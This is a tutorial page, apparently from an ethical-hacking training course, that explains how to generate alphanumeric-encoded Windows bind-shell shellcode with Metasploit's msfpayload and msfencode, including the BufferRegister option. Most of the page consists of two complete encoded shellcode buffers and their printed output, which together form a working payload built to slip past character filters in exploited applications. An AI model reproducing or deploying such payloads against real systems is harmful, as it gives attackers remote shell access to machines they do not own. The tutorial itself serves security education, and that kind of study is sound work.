Metasploit: Alphanumeric Shellcode

Advanced Ethical Hacking Institute in Pune

Generating Alphanumeric Shellcode with Metasploit

There are cases where you need to obtain a pure alphanumeric shellcode because of character filtering in the exploited application. The Metasploit Framework can generate alphanumeric shellcode easily through Msfencode. For example, to generate a mixed alphanumeric uppercase and lowercase encoded shellcode, we can use the following command:

root@kali:~# msfpayload windows/shell/bind_tcp R | ./msfencode -e x86/alpha_mixed
[*] x86/alpha_mixed succeeded with size 659 (iteration=1)

unsigned char buf[] =
"\x89\xe2\xdb\xdb\xd9\x72\xf4\x59\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b"
"\x4c\x4d\x38\x4c\x49\x45\x50\x45\x50\x45\x50\x43\x50\x4d\x59"
"\x4d\x35\x50\x31\x49\x42\x42\x44\x4c\x4b\x50\x52\x50\x30\x4c"
"\x4b\x51\x42\x44\x4c\x4c\x4b\x51\x42\x45\x44\x4c\x4b\x44\x32"
"\x51\x38\x44\x4f\x4e\x57\x50\x4a\x47\x56\x46\x51\x4b\x4f\x50"
"\x31\x49\x50\x4e\x4c\x47\x4c\x43\x51\x43\x4c\x45\x52\x46\x4c"
"\x47\x50\x49\x51\x48\x4f\x44\x4d\x43\x31\x48\x47\x4b\x52\x4a"
"\x50\x51\x42\x50\x57\x4c\x4b\x46\x32\x42\x30\x4c\x4b\x47\x32"
"\x47\x4c\x45\x51\x4e\x30\x4c\x4b\x47\x30\x44\x38\x4d\x55\x49"
"\x50\x44\x34\x50\x4a\x45\x51\x48\x50\x50\x50\x4c\x4b\x50\x48"
"\x44\x58\x4c\x4b\x51\x48\x51\x30\x43\x31\x4e\x33\x4b\x53\x47"
"\x4c\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4e\x36\x50\x31"
"\x4b\x4f\x46\x51\x49\x50\x4e\x4c\x49\x51\x48\x4f\x44\x4d\x45"
"\x51\x49\x57\x50\x38\x4d\x30\x42\x55\x4c\x34\x45\x53\x43\x4d"
"\x4c\x38\x47\x4b\x43\x4d\x51\x34\x43\x45\x4b\x52\x51\x48\x4c"
"\x4b\x51\x48\x47\x54\x45\x51\x49\x43\x42\x46\x4c\x4b\x44\x4c"
"\x50\x4b\x4c\x4b\x50\x58\x45\x4c\x43\x31\x48\x53\x4c\x4b\x43"
"\x34\x4c\x4b\x43\x31\x48\x50\x4c\x49\x50\x44\x51\x34\x51\x34"
"\x51\x4b\x51\x4b\x45\x31\x46\x39\x51\x4a\x50\x51\x4b\x4f\x4b"
"\x50\x51\x48\x51\x4f\x51\x4a\x4c\x4b\x44\x52\x4a\x4b\x4b\x36"
"\x51\x4d\x43\x58\x50\x33\x50\x32\x43\x30\x43\x30\x42\x48\x43"
"\x47\x43\x43\x50\x32\x51\x4f\x50\x54\x43\x58\x50\x4c\x43\x47"
"\x51\x36\x43\x37\x4b\x4f\x4e\x35\x4e\x58\x4a\x30\x43\x31\x45"
"\x50\x45\x50\x51\x39\x49\x54\x50\x54\x46\x30\x43\x58\x46\x49"
"\x4b\x30\x42\x4b\x45\x50\x4b\x4f\x4e\x35\x50\x50\x50\x50\x50"
"\x50\x46\x30\x51\x50\x46\x30\x51\x50\x46\x30\x43\x58\x4a\x4a"
"\x44\x4f\x49\x4f\x4d\x30\x4b\x4f\x48\x55\x4d\x47\x50\x31\x49"
"\x4b\x51\x43\x45\x38\x43\x32\x45\x50\x44\x51\x51\x4c\x4d\x59"
"\x4d\x36\x42\x4a\x44\x50\x50\x56\x51\x47\x42\x48\x48\x42\x49"
"\x4b\x46\x57\x43\x57\x4b\x4f\x48\x55\x51\x43\x50\x57\x45\x38"
"\x48\x37\x4b\x59\x46\x58\x4b\x4f\x4b\x4f\x4e\x35\x50\x53\x46"
"\x33\x50\x57\x45\x38\x43\x44\x4a\x4c\x47\x4b\x4b\x51\x4b\x4f"
"\x49\x45\x51\x47\x4c\x57\x43\x58\x44\x35\x42\x4e\x50\x4d\x43"
"\x51\x4b\x4f\x4e\x35\x42\x4a\x43\x30\x42\x4a\x45\x54\x50\x56"
"\x51\x47\x43\x58\x45\x52\x48\x59\x49\x58\x51\x4f\x4b\x4f\x4e"
"\x35\x4c\x4b\x47\x46\x42\x4a\x51\x50\x43\x58\x45\x50\x42\x30"
"\x43\x30\x45\x50\x46\x36\x43\x5a\x45\x50\x45\x38\x46\x38\x49"
"\x34\x46\x33\x4a\x45\x4b\x4f\x49\x45\x4d\x43\x46\x33\x42\x4a"
"\x45\x50\x50\x56\x50\x53\x50\x57\x45\x38\x44\x42\x49\x49\x49"
"\x58\x51\x4f\x4b\x4f\x4e\x35\x43\x31\x48\x43\x47\x59\x49\x56"
"\x4d\x55\x4c\x36\x43\x45\x4a\x4c\x49\x53\x44\x4a\x41\x41";

If you look deeper at the generated shellcode, you will see that there are some non alphanumeric characters though:

>>> print shellcode
???t$?^VYIIIIIIIIICCCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLCZJKPMKXKIKOKOKOE0LKBLQ4Q4LKQUGLLKCLC5CHEQJOLKPOB8LKQOGPC1
JKPILKGDLKC1JNP1IPLYNLK4IPD4EWIQHJDMC1IRJKKDGKPTQ4GXCEKULKQOFDC1JKE6LKDLPKLKQOELEQJKDCFLLKMYBLFDELE1HCP1IKE4LKG3P0LKG0D
LLKBPELNMLKG0C8QNBHLNPNDNJLF0KOHVBFPSCVE8P3GBBHD7BSGBQOF4KOHPE8HKJMKLGKPPKON6QOK9M5CVMQJMEXC2QEBJERKOHPCXIIEYKENMQGKON6
QCQCF3PSF3G3PSPCQCKOHPBFCXB1QLE6QCMYM1J5BHNDDZD0IWF7KOIFCZDPPQQEKON0E8NDNMFNJIPWKOHVQCF5KON0BHJEG9LFQYF7KOIFF0PTF4QEKOH
PJ3E8JGCIHFBYF7KON6PUKOHPBFCZE4E6E8BCBMK9M5BJF0PYQ9HLMYKWBJG4MYM2FQIPL3NJKNQRFMKNPBFLJ3LMCJGHNKNKNKBHCBKNNSDVKOCEQTKOHV
QKQGPRF1PQF1CZEQPQPQPUF1KOHPE8NMN9DEHNF3KOIFCZKOKOFWKOHPLKQGKLLCITE4KOHVF2KOHPCXJPMZDDQOF3KOHVKOHPDJAA

This is due to the opcodes (“\x89\xe2\xdb\xdb\xd9\x72″) at the beginning of the payload which are needed in order to find the payloads absolute location in memory and obtain a fully position-independent shellcode:

Once our shellcode address is obtained through the first two instructions, it is pushed onto the stack and stored in the ECX register which will then be used to calculate relative offsets. However, if we are able somehow to obtain the absolute position of the shellcode on our own and save that address in a register before running the shellcode, we can use the special option BufferRegister=REG32 while encoding our payload:

root@kali:~# msfpayload windows/shell/bind_tcp R | ./msfencode BufferRegister=ECX -e x86/alpha_mixed
[*] x86/alpha_mixed succeeded with size 651 (iteration=1)

unsigned char buf[] =
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
"\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50"
"\x38\x41\x42\x75\x4a\x49\x4b\x4c\x4d\x38\x4c\x49\x43\x30\x43"
"\x30\x45\x50\x45\x30\x4c\x49\x4b\x55\x50\x31\x48\x52\x43\x54"
"\x4c\x4b\x51\x42\x50\x30\x4c\x4b\x50\x52\x44\x4c\x4c\x4b\x50"
"\x52\x45\x44\x4c\x4b\x44\x32\x46\x48\x44\x4f\x48\x37\x50\x4a"
"\x46\x46\x50\x31\x4b\x4f\x46\x51\x49\x50\x4e\x4c\x47\x4c\x43"
"\x51\x43\x4c\x45\x52\x46\x4c\x47\x50\x49\x51\x48\x4f\x44\x4d"
"\x43\x31\x49\x57\x4b\x52\x4a\x50\x51\x42\x51\x47\x4c\x4b\x51"
"\x42\x42\x30\x4c\x4b\x50\x42\x47\x4c\x43\x31\x48\x50\x4c\x4b"
"\x51\x50\x42\x58\x4b\x35\x49\x50\x43\x44\x50\x4a\x43\x31\x48"
"\x50\x50\x50\x4c\x4b\x51\x58\x45\x48\x4c\x4b\x50\x58\x47\x50"
"\x43\x31\x49\x43\x4a\x43\x47\x4c\x50\x49\x4c\x4b\x50\x34\x4c"
"\x4b\x43\x31\x4e\x36\x50\x31\x4b\x4f\x46\x51\x49\x50\x4e\x4c"
"\x49\x51\x48\x4f\x44\x4d\x45\x51\x49\x57\x47\x48\x4b\x50\x43"
"\x45\x4c\x34\x43\x33\x43\x4d\x4c\x38\x47\x4b\x43\x4d\x46\x44"
"\x42\x55\x4a\x42\x46\x38\x4c\x4b\x50\x58\x47\x54\x45\x51\x49"
"\x43\x42\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x48\x45\x4c"
"\x45\x51\x4e\x33\x4c\x4b\x44\x44\x4c\x4b\x43\x31\x4e\x30\x4b"
"\x39\x51\x54\x47\x54\x47\x54\x51\x4b\x51\x4b\x45\x31\x51\x49"
"\x51\x4a\x46\x31\x4b\x4f\x4b\x50\x50\x58\x51\x4f\x50\x5a\x4c"
"\x4b\x45\x42\x4a\x4b\x4b\x36\x51\x4d\x45\x38\x47\x43\x47\x42"
"\x45\x50\x43\x30\x43\x58\x43\x47\x43\x43\x47\x42\x51\x4f\x50"
"\x54\x43\x58\x50\x4c\x44\x37\x46\x46\x45\x57\x4b\x4f\x4e\x35"
"\x48\x38\x4c\x50\x43\x31\x45\x50\x45\x50\x51\x39\x48\x44\x50"
"\x54\x46\x30\x45\x38\x46\x49\x4b\x30\x42\x4b\x45\x50\x4b\x4f"
"\x49\x45\x50\x50\x50\x50\x50\x50\x46\x30\x51\x50\x50\x50\x47"
"\x30\x46\x30\x43\x58\x4a\x4a\x44\x4f\x49\x4f\x4d\x30\x4b\x4f"
"\x4e\x35\x4a\x37\x50\x31\x49\x4b\x50\x53\x45\x38\x43\x32\x43"
"\x30\x44\x51\x51\x4c\x4d\x59\x4b\x56\x42\x4a\x42\x30\x51\x46"
"\x50\x57\x43\x58\x48\x42\x49\x4b\x50\x37\x43\x57\x4b\x4f\x49"
"\x45\x50\x53\x50\x57\x45\x38\x4e\x57\x4d\x39\x47\x48\x4b\x4f"
"\x4b\x4f\x48\x55\x51\x43\x46\x33\x46\x37\x45\x38\x42\x54\x4a"
"\x4c\x47\x4b\x4b\x51\x4b\x4f\x4e\x35\x50\x57\x4c\x57\x42\x48"
"\x42\x55\x42\x4e\x50\x4d\x45\x31\x4b\x4f\x49\x45\x42\x4a\x43"
"\x30\x42\x4a\x45\x54\x50\x56\x50\x57\x43\x58\x44\x42\x4e\x39"
"\x48\x48\x51\x4f\x4b\x4f\x4e\x35\x4c\x4b\x46\x56\x42\x4a\x47"
"\x30\x42\x48\x45\x50\x44\x50\x43\x30\x43\x30\x50\x56\x43\x5a"
"\x43\x30\x43\x58\x46\x38\x4e\x44\x50\x53\x4d\x35\x4b\x4f\x48"
"\x55\x4a\x33\x46\x33\x43\x5a\x43\x30\x50\x56\x51\x43\x51\x47"
"\x42\x48\x43\x32\x4e\x39\x48\x48\x51\x4f\x4b\x4f\x4e\x35\x43"
"\x31\x48\x43\x51\x39\x49\x56\x4c\x45\x4a\x56\x43\x45\x4a\x4c"
"\x49\x53\x45\x5a\x41\x41";

This time we obtained a pure alphanumeric shellcode:

>>> print shellcode
IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLBJJKPMM8KIKOKOKOE0LKBLFDFDLKPEGLLKCLC5D8C1JOLKPOEHLKQOGPEQJKPILKGD
LKEQJNFQIPMINLLDIPCDC7IQHJDMC1HBJKJTGKF4GTFHBUJELKQOGTC1JKCVLKDLPKLKQOELEQJKESFLLKLIBLFDELE1HCP1IKE4LKG3FPLKG0DLLKBPELN
MLKG0DHQNE8LNPNDNJLPPKOHVE6QCE6CXP3FRE8CGCCP2QOPTKON0CXHKJMKLGKF0KOHVQOMYM5E6K1JMEXC2PUBJDBKON0CXN9C9KENMPWKON6QCF3F3F3
PSG3PSPCQCKOHPBFE8DQQLBFPSMYKQMECXNDDZBPIWQGKOHVBJB0PQPUKOHPBHNDNMFNKYPWKON6QCF5KOHPCXKUG9K6QYQGKOHVF0QDF4QEKON0MCCXKWD
9HFBYQGKOIFQEKON0BFCZBDE6CXCSBMMYJECZF0F9FIHLK9KWCZQTK9JBFQIPKCNJKNQRFMKNG2FLMCLMBZFXNKNKNKCXCBKNNSB6KOD5QTKON6QKF7QBF1
PQF1BJC1F1F1PUPQKON0CXNMIIDEHNQCKOHVBJKOKOGGKOHPLKF7KLLCITBDKON6QBKOHPE8L0MZETQOQCKOHVKOHPEZAA

In this case, we told msfencode that we took care of finding the shellcodes absolute address and we saved it in the ECX register:

As you can see in the previous image, ECX was previously set in order to point to the beginning of our alphanumeric shellcode. At this point, our payload starts directly realigning ECX to begin the shellcode decoding sequence.